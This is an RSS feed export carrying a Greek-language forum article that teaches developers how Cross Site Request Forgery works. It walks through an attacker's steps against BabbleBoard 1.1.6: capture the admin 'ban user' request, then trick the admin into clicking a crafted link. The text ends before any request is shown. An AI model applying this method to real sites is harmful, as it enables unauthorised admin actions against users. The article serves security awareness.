<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="https://www.dotnetzone.gr:443/cs/utility/FeedStylesheets/rss.xsl" media="screen"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:wfw="http://wellformedweb.org/CommentAPI/"><channel><title>Code Security</title><link>https://www.dotnetzone.gr:443/cs/forums/139/ShowForum.aspx</link><description>Περιοχή που συζητάμε για το το code security - ένα θέμα που πρέπει να απασχολεί κάθε προγραμματιστή.</description><dc:language>el</dc:language><generator>CommunityServer 2.1 SP3 (Build: 20423.1)</generator><item><title>Cross Site Request Forgery (CSRF)</title><link>https://www.dotnetzone.gr:443/cs/forums/thread/77308.aspx</link><pubDate>Sun, 11 Oct 2015 18:38:01 GMT</pubDate><guid isPermaLink="false">2622095e-976c-431a-859e-16783ec7ecd7:77308</guid><dc:creator>Thiseas</dc:creator><slash:comments>0</slash:comments><comments>https://www.dotnetzone.gr:443/cs/forums/thread/77308.aspx</comments><wfw:commentRss>https://www.dotnetzone.gr:443/cs/forums/commentrss.aspx?SectionID=139&amp;PostID=77308</wfw:commentRss><description>&lt;p&gt;&lt;i&gt;&lt;b&gt;Το παρακάτω άρθρο αποτελεί αναδημοσίευση κομματιών ή και επι του συνόλου, άρθρων του γράφοντος που είχε κάνει σε άλλα ιστολόγια. Να ξεκαθαρίσω οτι ο στόχος εδώ είναι η εκμετάλλευση της υψηλής επiσκεψιμότητας από developers του τρέχοντος forum με αντικειμενικό σκοπό την ενημέρωση τους ή πιο καλά την ενεργοποίηση της... καχυποψίας τους επάνω σε θέματα ασφάλειας κώδικα.&lt;br&gt;&lt;/b&gt;&lt;/i&gt;&lt;/p&gt;

&lt;p&gt;&lt;i&gt;&lt;b&gt;Ας πάμε...&lt;/b&gt;&lt;/i&gt; &lt;br&gt;&lt;/p&gt;

&lt;p&gt;&lt;span style="mso-ansi-language:EL;"&gt;Θα υποπτευόσαστε ποτέ ως διαρρήκτη τον
ίδιο τον ιδιοκτήτη ενός σπιτιού (ας πούμε τον Κο Νοικοκύρη), όταν τον βλέπατε
μέρα μεσημέρι να μπαίνει στο σπίτι του από την κεντρική είσοδο με τα κλειδιά
στο χέρι; Οι μόνοι που θα μπορούσαν να απαντήσουν «ναι» σε ένα τέτοιο ερώτημα
είναι μόνο όσοι έχουνε προβλήματα όρασης! Πώς είναι δυνατόν να υποπτευτείς
αυτόν που έχει την δικαιοδοσία να κάνει κάτι; Χμ… μήπως θα πρέπει να το
ξανασκεφτούμε; Θα μπορούσε να τον έχει βάλει κάποιος ο οποίος τον απείλησε και
ο Κος Νοικοκύρης να το κάνει κάτω από ψυχολογική βία, ή… ακόμα χειρότερα, θα
μπορούσε να τον έχει βάλει κάποιος και ο Κος Νοικοκύρης να &lt;u&gt;μην&lt;/u&gt; το έχει
καν καταλάβει! Όσο κι αν φαίνεται απίθανο και πέρα από τα όρια της λογικής, η
τελευταία περίπτωση μπορεί να συμβεί. Ίσως όχι τόσο συχνά στον πραγματικό μας
κόσμο, αλλά αρκετά συχνά σε έναν άλλο κόσμο, ιδεατό, εικονικό, αλλά εξίσου
επικίνδυνο: Ποιόν άλλον; Τον κόσμο του διαδικτύου. Στο άρθρο αυτό θα μιλήσουμε
για τέτοιες επιθέσεις.&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;&lt;span&gt;Θα αναφερθούμε στo περίφημο &lt;a href="http://en.wikipedia.org/wiki/Cross-site_request_forgery"&gt;&lt;b&gt;Cross&lt;/b&gt;
&lt;b&gt;Site&lt;/b&gt; &lt;b&gt;Request&lt;/b&gt; &lt;b&gt;Forgery&lt;/b&gt;&lt;/a&gt;
(CSRF) ή one-click attack ή session riding ή WRPC attack for Web based RPC
attack. &lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;Όπως καταλάβατε πρόκειται για
τον &lt;b&gt;αρχινονό &lt;/b&gt;των επιθέσεων μια και με τόσα ονόματα ελπίζει να
ξεγλιστρήσει και δυστυχώς, δεν είναι λίγες οι φορές που τα καταφέρνει.
Πρόκειται για μια μεθοδολογία επίθεσης που μόλις το 2008 εντάχθηκε στην λίστα
των γνωστών παγκόσμιων απειλές του διαδικτύου (&lt;/span&gt;&lt;span&gt;&lt;a href="http://is.gd/zzXP"&gt;http&lt;span style="mso-ansi-language:EL;"&gt;://&lt;/span&gt;is&lt;span style="mso-ansi-language:EL;"&gt;.&lt;/span&gt;gd&lt;span style="mso-ansi-language:EL;"&gt;/&lt;/span&gt;zzXP&lt;/a&gt;&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;) αν και το 2006
είχε αναφερθεί ως ο Κοιμώμενος Γίγαντας&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; στο &lt;/span&gt;&lt;span&gt;&lt;a href="http://www.darkreading.com/risk/csrf-vulnerability-a-sleeping-giant/d/d-id/1128371?"&gt;&lt;span style="mso-ansi-language:EL;"&gt;άρθρο του &lt;/span&gt;Security&lt;span style="mso-ansi-language:EL;"&gt; &lt;/span&gt;DarkReading&lt;/a&gt;&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;.&lt;/span&gt;&lt;/p&gt;

&lt;h2&gt;Λίγο… background&lt;/h2&gt;

&lt;p&gt;&lt;span style="mso-ansi-language:EL;"&gt;Πριν αναφερθούμε στην μέθοδο αυτή καθαυτή
θα πρέπει πρώτα να πούμε μερικά βασικά θέματα ασφάλειας που θα πρέπει να
γνωρίζουμε έτσι ώστε να την κατανοήσουμε καλύτερα.&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;&lt;span style="mso-ansi-language:EL;"&gt;Ας ξεκινήσουμε με ένα απλό παράδειγμα:
Έστω ότι είμαστε υπεύθυνοι (&lt;/span&gt;&lt;span&gt;administrators&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;) σε ένα &lt;/span&gt;&lt;span&gt;forum&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; που έχει να κάνει με ασφάλεια υπολογιστών. Κάθε
φορά που επισκεπτόμαστε το &lt;/span&gt;&lt;span&gt;forum&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; με τον αγαπημένο μας &lt;/span&gt;&lt;span&gt;Internet&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; &lt;/span&gt;&lt;span&gt;Browser&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; δίνουμε κωδικό και &lt;/span&gt;&lt;span&gt;password&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; για να αποκτήσουμε πρόσβαση και (όπως λέμε) να
μπούμε μέσα. Η διαδικασία αυτή ονομάζετε &lt;/span&gt;&lt;a href="http://searchsecurity.techtarget.com/definition/authentication"&gt;&lt;span&gt;authentication&lt;/span&gt;&lt;/a&gt;&lt;span style="mso-ansi-language:EL;"&gt; ή στα «ξένα» αυθεντικοποίηση (εικόνα 1).&lt;/span&gt;&lt;/p&gt;

&lt;p class="rtecenter"&gt;&lt;img src="https://farm6.staticflickr.com/5633/22060501966_bd61430c6e_b.jpg"&gt;&lt;br&gt;
Εικόνα 1: Έχοντας μπει στο site μας με δικαιώματα administrator.&lt;/p&gt;

&lt;p&gt;&lt;span style="mso-ansi-language:EL;"&gt;Όση ώρα είμαστε μέσα στο &lt;/span&gt;&lt;span&gt;site&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; μας&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; μπορούμε να
εκτελέσουμε διάφορες ενέργειες, όπως: Να γράψουμε ένα νέο &lt;/span&gt;&lt;span&gt;post&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;, να απαντήσουμε σε
κάποιο άλλο κλπ. Δηλαδή ότι μπορούν και τα υπόλοιπα&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; μέλη του &lt;/span&gt;&lt;span&gt;forum&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; μας. Όμως εμείς (ως &lt;/span&gt;&lt;span&gt;Admin&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;!!) μπορούμε να εκτελέσουμε κάποιες εργασίες που
τα άλλα μέλη δεν μπορούν, όπως για παράδειγμα την διαγραφή κάποιου &lt;/span&gt;&lt;span&gt;post&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; ενός άλλου μέλους, ή
την αποβολή του από το &lt;/span&gt;&lt;span&gt;forum&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;, το λεγόμενο &lt;/span&gt;&lt;span&gt;ban&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; και πολλά άλλα. Πως γνωρίζει ο &lt;/span&gt;&lt;span&gt;server&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; ποιοι είμαστε για
να μας αφήσει να εκτελέσουμε αυτές τις ενέργειες; Μα φυσικά, θα σκεφτεί
κάποιος, από το &lt;/span&gt;&lt;span&gt;authentication&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; που κάναμε στην αρχή. Χμ... τα πράγματα δεν και
τόσο απλά.&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;&lt;span style="mso-ansi-language:EL;"&gt;Το ότι κάναμε &lt;/span&gt;&lt;span&gt;authentication&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; μια δεδομένη χρονική στιγμή δεν σημαίνει απολύτως
τίποτε διότι το &lt;/span&gt;&lt;span&gt;internet&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; είναι (όπως έχουμε ξαναπεί) &lt;/span&gt;&lt;span&gt;stateless&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; και κάθε φορά που πατάμε μια ενέργεια στο &lt;/span&gt;&lt;span&gt;browser&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; μας, ο &lt;/span&gt;&lt;span&gt;server&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; που επισκεπτόμαστε
είναι σαν να μας «βλέπει» για πρώτη φορά (&lt;/span&gt;&lt;span&gt;&lt;a href="http://is.gd/As3a"&gt;http&lt;span style="mso-ansi-language:EL;"&gt;://&lt;/span&gt;is&lt;span style="mso-ansi-language:EL;"&gt;.&lt;/span&gt;gd&lt;span style="mso-ansi-language:EL;"&gt;/&lt;/span&gt;As&lt;span style="mso-ansi-language:EL;"&gt;3&lt;/span&gt;a&lt;/a&gt;&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;). Αυτή η&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; έλλειψη «μνήμης» του &lt;/span&gt;&lt;span&gt;server&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; (όσα &lt;/span&gt;&lt;span&gt;Gb&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; &lt;/span&gt;&lt;span&gt;R&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;ΑΜ κι αν έχει!!) πρέπει με κάποιο τρόπο να
«γεφυρωθεί» έτσι ώστε να μας θυμάται για να μην μας ζητά &lt;/span&gt;&lt;span&gt;authentication&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; κάθε φορά
που του ζητάμε κάτι. Πραγματικά, το σενάριο, αν δεν είχαμε τρόπο να λύσουμε
αυτό το πρόβλημα, είναι... εφιαλτικό! Κάθε στιγμή θα μας έλεγε ο &lt;/span&gt;&lt;span&gt;server&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;:&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;&lt;span&gt;Server&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;: -Συγγνώμη
κύριε, ποιος είστε;&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;&lt;span&gt;Admin&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;: -Μα...
μόλις συστηθήκαμε!&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;&lt;span style="mso-ansi-language:EL;"&gt;Αυτό λοιπόν το ιδιόμορφο &lt;/span&gt;&lt;span&gt;&lt;a href="http://www.google.gr/search?hl=el&amp;amp;ei=QOoOStK4AYS4_Aazr421BA&amp;amp;sa=X&amp;amp;oi=spell&amp;amp;resnum=0&amp;amp;ct=result&amp;amp;cd=1&amp;amp;q=alzheimer&amp;amp;spell=1"&gt;alzheimer&lt;/a&gt;&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; θεραπεύεται με μερικά... μπισκοτάκια! Μην
ανησυχείτε, δεν μας έπιασε ο συνήθης παλιμπαιδισμός που μας διακρίνει συχνά και
που μας κατατρέχει σχεδόν μόνιμα!, απλά, Μπισκοτάκια (&lt;/span&gt;&lt;span&gt;Cookies&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;) ονομάζονται κάποιες μικρού μεγέθους πληροφορίες
που βάζει ο &lt;/span&gt;&lt;span&gt;server&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; στην μνήμη του υπολογιστή μας έτσι ώστε κάθε φορά που τον καλούμε να
θυμάται ποίοι είμαστε (&lt;/span&gt;&lt;span&gt;&lt;a href="http://is.gd/Asgx"&gt;http&lt;span style="mso-ansi-language:EL;"&gt;://&lt;/span&gt;is&lt;span style="mso-ansi-language:EL;"&gt;.&lt;/span&gt;gd&lt;span style="mso-ansi-language:EL;"&gt;/&lt;/span&gt;Asgx&lt;/a&gt;&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;).&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;&lt;span style="mso-ansi-language:EL;"&gt;Μια τέτοια πληροφορία έχει εισαχθεί και
στο δικό μας &lt;/span&gt;&lt;span&gt;PC&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; και αναφέρει στον &lt;/span&gt;&lt;span&gt;server&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; της εικόνας 1 ότι εμείς είμαστε οι διαχειριστές
και κατά συνέπεια έχουμε αυξημένα δικαιώματα. Δεν θα επεκταθούμε περισσότερο σε
αυτό, μια και θα βγούμε «εκτός θέματος».&lt;/span&gt;&lt;/p&gt;

&lt;h2&gt;Η μέθοδος&lt;/h2&gt;

&lt;p&gt;&lt;span style="mso-ansi-language:EL;"&gt;Σκεφτείτε ότι εμείς, τώρα, είμαστε οι
υποχθόνιοι τύποι που θέλουμε να&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; γίνουμε διαχειριστές στη θέση του διαχειριστή
αλλά βρισκόμαστε σε έναν άλλο υπολογιστή ίσως αρκετές χιλιάδες χιλιόμετρα
μακριά και το μοναδικό σημείο επαφής μας είναι ο &lt;/span&gt;&lt;span&gt;server&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; που φιλοξενεί το &lt;/span&gt;&lt;span&gt;forum&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; που θέλουμε να επιτεθούμε. Τι θα συμβεί αν
καταφέρουμε να έχουμε πρόσβαση στο &lt;/span&gt;&lt;span&gt;cookie&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; του &lt;/span&gt;&lt;span&gt;admin&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;; Τότε, θα μπορούσαμε να εκτελέσουμε όλες τις
εντολές και τις ενέργειες που μπορεί να έχει ένας διαχειριστής.&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;&lt;span style="mso-ansi-language:EL;"&gt;Ας πούμε ότι έχουμε προηγούμενα με κάποιο
μέλος του συγκεκριμένου &lt;/span&gt;&lt;span&gt;forum&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; και θέλουμε να το αποβάλουμε, κοινώς να το &lt;/span&gt;&lt;span&gt;ban&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;-άρουμε! Πως θα
καταφέρουμε κάτι τέτοιο χωρίς να είμαστε διαχειριστές (&lt;/span&gt;&lt;span&gt;admins&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;);&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;&lt;span style="mso-ansi-language:EL;"&gt;Κατ’ αρχάς πρέπει να ξέρουμε πως όταν ο
πραγματικός &lt;/span&gt;&lt;span&gt;admin&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; μπανάρει ένα μέλος, στην πραγματικότητα καλεί μια έτοιμη ενέργεια που
παρέχει το &lt;/span&gt;&lt;span&gt;forum&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; μόνο σε αυτόν. Αυτή η ενέργεια μπορεί να είναι η κλήση ενός προγράμματος
στον &lt;/span&gt;&lt;span&gt;server&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;
που φιλοξενεί το &lt;/span&gt;&lt;span&gt;forum&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;. Μόλις κληθεί αυτή η ενέργειά, σίγουρα θα τσεκάρει το &lt;/span&gt;&lt;span&gt;cookie&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; (για να ελέγξει αν
πρόκειται για τον &lt;/span&gt;&lt;span&gt;admin&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;) και μετά θα συνεχίσει το... θεάρεστο έργο της.&lt;/span&gt;&lt;/p&gt;

&lt;p class="rtecenter"&gt;&lt;img src="https://farm1.staticflickr.com/633/21465542113_469a16d2cb_b.jpg"&gt;&lt;br&gt;
Εικόνα 2: Ο χρήστης έχει αποβληθεί (banned) από το forum.&lt;/p&gt;

&lt;p&gt;&lt;span style="mso-ansi-language:EL;"&gt;Αυτό λοιπόν που θα κάνουμε συνοψίζεται τα
παρακάτω βήματα:&lt;/span&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;mso-list:l0 level1 lfo1;mso-hyphenate:auto;tab-stops:list 36.0pt;"&gt;&lt;b&gt;Βήμα
     1&lt;/b&gt;: Βρίσκουμε (ή φτιάχνουμε μόνοι μας) ένα πρόγραμμα ή μια εντολή
     η οποία είναι η ίδια που εκτελείτε από το forum όταν ο πραγματικός
     διαχειριστής αποβάλει ένα άτομο (θα πούμε παρακάτω πως θα την βρούμε κλπ).&lt;/li&gt;

&lt;li class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;mso-list:l0 level1 lfo1;mso-hyphenate:auto;tab-stops:list 36.0pt;"&gt;&lt;b&gt;Βήμα
     2&lt;/b&gt;: Αφού την φτιάξουμε θα την βάλουμε σε ένα link το οποίο με
     κάποιο τρόπο θα στείλουμε στον διαχειριστή και θα τον ωθήσουμε να το
     πατήσει (με την θέληση του ή μη!). To βήμα αυτό χρειάζεται και λίγο Social
     Engineering (http://is.gd/AEyb). Μόλις το πατήσει, ο σκοπός έχει
     επιτευχθεί!&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;span style="mso-ansi-language:EL;"&gt;Ας δούμε, λοιπόν, πως γίνονται όλα αυτά
στην πράξη!&lt;/span&gt;&lt;/p&gt;

&lt;h2&gt;Η υλοποίηση&lt;/h2&gt;

&lt;p&gt;&lt;span style="mso-ansi-language:EL;"&gt;Πρώτα πρέπει να υλοποιήσουμε το βήμα 1.
Θα βρούμε τι ακριβώς εκτελείται από το πρόγραμμα του &lt;/span&gt;&lt;span&gt;forum&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; όταν ο διαχειριστής μπανάρει έναν χρήστη. Εδώ
χρειάζεται λίγη πονηριά και λίγη παρατηρητικότητα. Σχεδόν όλα τα &lt;/span&gt;&lt;span&gt;forums&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; αναφέρουν τον
κατασκευαστή και την έκδοση που βρίσκονται. Αν προσέξετε την εικόνα 1 θα δείτε
ότι στο κάτω μέρος αναφέρει “&lt;/span&gt;&lt;span&gt;Powered&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; &lt;/span&gt;&lt;span&gt;by&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; &lt;/span&gt;&lt;span&gt;BabbleBoard&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; &lt;/span&gt;&lt;span&gt;v&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;.1.1.6”. &lt;/span&gt;&lt;span&gt;To&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; &lt;/span&gt;&lt;span&gt;babbleboard&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; είναι ένα γνωστό πρόγραμμα για &lt;/span&gt;&lt;span&gt;forums&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; και μάλιστα
προσφέρεται και δωρεάν. Ας το κατεβάσουμε λοιπόν και ας το εγκαταστήσουμε στον
δικό μας &lt;/span&gt;&lt;span&gt;web&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; &lt;/span&gt;&lt;span&gt;server&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;.
Εδώ απαιτείται να έχουμε ένα δικό μας &lt;/span&gt;&lt;span&gt;web&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; &lt;/span&gt;&lt;span&gt;server&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;. Μην τρομάζετε, είναι απίστευτα απλό και...
δωρεάν! Υπάρχουν εκατοντάδες εταιρίες στο &lt;/span&gt;&lt;span&gt;internet&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; που είναι πρόθυμες να σας φιλοξενήσουν (&lt;/span&gt;&lt;span&gt;google&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; &lt;/span&gt;&lt;span&gt;it&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; “&lt;/span&gt;&lt;span&gt;hosting&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;” και θα
καταλάβετε).&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;&lt;span style="mso-ansi-language:EL;"&gt;Αφού λοιπόν βρούμε και κατεβάσουμε το &lt;/span&gt;&lt;span&gt;BabbleBoard&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; και
συγκεκριμένα την έκδοση 1.1.6, φτιάχνουμε ένα τεχνητό &lt;/span&gt;&lt;span&gt;forum&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;, και μπαίνουμε σαν διαχειριστές. Φτιάχνουμε και
2-3 χρήστες και αρχίζουμε να τους μπανάρουμε για να δούμε ποιες ακριβώς εντολές
εκτελούνται! Για να δούμε όμως κάτι τέτοιο θα χρησιμοποιήσουμε ένα πολύ χρήσιμο
&lt;/span&gt;&lt;span&gt;add&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;-&lt;/span&gt;&lt;span&gt;on&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; του &lt;/span&gt;&lt;span&gt;firefox&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;: &lt;/span&gt;&lt;span&gt;To&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; &lt;/span&gt;&lt;span&gt;Live&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; &lt;/span&gt;&lt;span&gt;Http&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; &lt;/span&gt;&lt;span&gt;Headers&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; (&lt;/span&gt;&lt;span&gt;&lt;a href="http://is.gd/9j1P"&gt;http&lt;span style="mso-ansi-language:EL;"&gt;://&lt;/span&gt;is&lt;span style="mso-ansi-language:EL;"&gt;.&lt;/span&gt;gd&lt;span style="mso-ansi-language:EL;"&gt;/9&lt;/span&gt;j&lt;span style="mso-ansi-language:EL;"&gt;1&lt;/span&gt;P&lt;/a&gt;&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;). Το συγκεκριμένο &lt;/span&gt;&lt;span&gt;add&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;-&lt;/span&gt;&lt;span&gt;on&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; μας δείχνει ποιές
εντολές (κρυφές ή μη) εκτελούνται στον &lt;/span&gt;&lt;span&gt;server&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; όταν πατάμε ένα &lt;/span&gt;&lt;span&gt;link&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; ή μια ενέργεια στον &lt;/span&gt;&lt;span&gt;browser&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; μας. Απ’ ότι καταλάβατε, η ενέργεια που θα
κατασκοπεύσουμε είναι η “&lt;/span&gt;&lt;span&gt;Ban&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; &lt;/span&gt;&lt;span&gt;User&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;”.&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;&lt;span style="mso-ansi-language:EL;"&gt;Δεν είναι ο σκοπός του άρθρου αυτού να
σας δείξει πως εγκαθιστώ ένα &lt;/span&gt;&lt;span&gt;forum&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; ή &lt;/span&gt;&lt;span&gt;CMS&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; (&lt;/span&gt;&lt;span&gt;Content&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; &lt;/span&gt;&lt;span&gt;Management&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; &lt;/span&gt;&lt;span&gt;System&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;), ούτε και να
δείξει πως ακριβώς λειτουργεί το &lt;/span&gt;&lt;span&gt;add&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;-&lt;/span&gt;&lt;span&gt;on&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; &lt;/span&gt;&lt;span&gt;http&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;-&lt;/span&gt;&lt;span&gt;header&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;. Αυτά τα βήματα θα τα θεωρήσουμε ως δεδομένα.&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;&lt;span style="mso-ansi-language:EL;"&gt;Ανοίγουμε, λοιπόν, το τεχνητό &lt;/span&gt;&lt;span&gt;forum&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; μας και μπαίνουμε
σαν διαχειριστές. Πάμε στην διαχείριση Χρηστών και επιλέγουμε έναν τυχαίο
χρήστη (κάποιον από αυτούς που φτιάξαμε πριν λίγο). Θα παρατηρήσουμε ότι
υπάρχει (όπως σε όλα τα &lt;/span&gt;&lt;span&gt;CMS&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; άλλωστε) μια επιλογή «&lt;/span&gt;&lt;span&gt;ban&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; &lt;/span&gt;&lt;span&gt;user&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;». Ενεργοποιούμε το &lt;/span&gt;&lt;span&gt;Live&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; &lt;/span&gt;&lt;span&gt;Http&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; &lt;/span&gt;&lt;span&gt;Headers&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; και πατάμε την επιλογή. Θα δούμε ότι ο
συγκεκριμένος χρήστης δεν μπορεί πια να μπει στο &lt;/span&gt;&lt;span&gt;forum&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; μας (εικόνα 2). Ωραίαααα! Ας δούμε τώρα τι
ακριβώς έχει καταγράψει το πρόγραμμα &lt;/span&gt;&lt;span&gt;http&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt;-&lt;/span&gt;&lt;span&gt;headers&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; :&lt;/span&gt;&lt;/p&gt;

&lt;p class="rtecenter"&gt;&lt;img src="https://farm6.staticflickr.com/5723/21465541863_4d078e0bb5_b.jpg"&gt;&lt;br&gt;
Εικόνα 3: Καταγραφή των εντολών του ban, φαίνεται η βασική εντολή «εκτέλεσης».&lt;/p&gt;

&lt;p&gt;&lt;span style="mso-ansi-language:EL;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;&lt;span style="mso-ansi-language:EL;"&gt;Βλέπουμε ότι η βασική εντολή που υλοποιεί
το &lt;/span&gt;&lt;span&gt;ban&lt;/span&gt;&lt;span style="mso-ansi-language:EL;"&gt; είναι
η παρακάτω:&lt;/span&gt;&lt;/p&gt;

